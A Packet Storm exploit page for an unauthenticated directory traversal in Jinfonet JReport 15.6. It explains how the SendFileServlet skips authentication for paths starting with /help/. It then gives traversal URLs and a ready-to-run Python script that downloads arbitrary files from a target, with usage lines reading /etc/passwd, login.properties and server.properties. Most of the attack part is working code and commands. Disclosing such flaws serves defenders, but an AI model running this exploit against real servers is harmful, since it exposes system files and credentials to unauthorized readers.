what you don't know can hurt you

Jinfornet Jreport 15.6 Directory Traversal

Jinfornet Jreport 15.6 Directory Traversal
Posted Mar 27, 2020
Authored by hongphukt

Jinfornet Jreport version 15.6 suffers from an unauthenticated directory traversal vulnerability.

tags | exploit, file inclusion
MD5 | aa0b75959e528f9f28ec3bdf8df57c76

Jinfornet Jreport 15.6 Directory Traversal

Change Mirror Download
# Exploit Title: Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal
# Date: 2020-03-26
# Exploit Author: hongphukt
# Vendor Homepage: https://www.jinfonet.com/
# Software Link: https://www.jinfonet.com/product/download-jreport/
# Version: JReport 15.6
# Tested on: Linux, Windows

Jreport Help function have a path traversal vulnerability in the SendFileServlet allows remote unauthenticated users to view any files on the Operating System with Application services user permission. This vulnerability affects Windows and Unix operating systems.
Technical Details

Jreport before loggedin have help function with url:

https://serverip/jreport/sendfile/help/userguide/server/index.htm

senfile url processing by jet.server.servlets.SendFileServlet class.

<servlet>

<servlet-name>sendfile</servlet-name>

<servlet-class>jet.server.servlets.SendFileServlet</servlet-class>

</servlet>

<servlet-mapping>

<servlet-name>sendfile</servlet-name>

<url-pattern>/sendfile/*</url-pattern>

</servlet-mapping>



In jet.server.servlets.SendFileServlet class, request will go on when it’s authenticated or start url by ‘/help/’

if ((!isAuthentic) &&

(!path.startsWith("/help/")))

{

httpRptServer.getHttpUserSessionManager().sendUnauthorizedResponse(req, res, this.D, httpRptServer.getResourceManager().getRealm());

return;

}



So the function reading file without any path validation

Exploit:

Get login properties, /etc/password file by get url:

http://jreport.test/jreport/sendfile/help/../bin/login.properties

http://jreport.test/jreport/sendfile/help/../../../../../../../../../../../../../../etc/passwd

# Exploit Code

import requests
import argparse

def exploit(url, file):

session = requests.Session()
rawBody = "\r\n"
response = session.get("{}/jreport/sendfile/help/{}".format(url,file), data=rawBody)

if response.status_code == 404:
print("The '{}' file was not found.".format(file))
else:
print("-" *22)
print(response.content)
print("-" *22)

if __name__ == "__main__":

parser = argparse.ArgumentParser(description='Jreport Path traversal & Arbitrary File Download')
parser.add_argument('-u', action="store", dest="url", required=True, help='Target URL')
parser.add_argument('-f', action="store", dest="file", required=True, help='The file to download')
args = parser.parse_args()

exploit(args.url, args.file)

# python jreport_fileread.py -u http://jreport.address -f "../../../../../../../../../../../../../../etc/passwd/"
# python jreport_fileread.py -u http://jreport.address -f "../bin/login.properties"
# python jreport_fileread.py -u http://jreport.address -f "../bin/server.properties"
Login or Register to add favorites

File Archive:

September 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    20 Files
  • 2
    Sep 2nd
    15 Files
  • 3
    Sep 3rd
    15 Files
  • 4
    Sep 4th
    4 Files
  • 5
    Sep 5th
    1 Files
  • 6
    Sep 6th
    1 Files
  • 7
    Sep 7th
    15 Files
  • 8
    Sep 8th
    27 Files
  • 9
    Sep 9th
    7 Files
  • 10
    Sep 10th
    16 Files
  • 11
    Sep 11th
    9 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    25 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    15 Files
  • 17
    Sep 17th
    15 Files
  • 18
    Sep 18th
    12 Files
  • 19
    Sep 19th
    1 Files
  • 20
    Sep 20th
    1 Files
  • 21
    Sep 21st
    15 Files
  • 22
    Sep 22nd
    21 Files
  • 23
    Sep 23rd
    8 Files
  • 24
    Sep 24th
    15 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close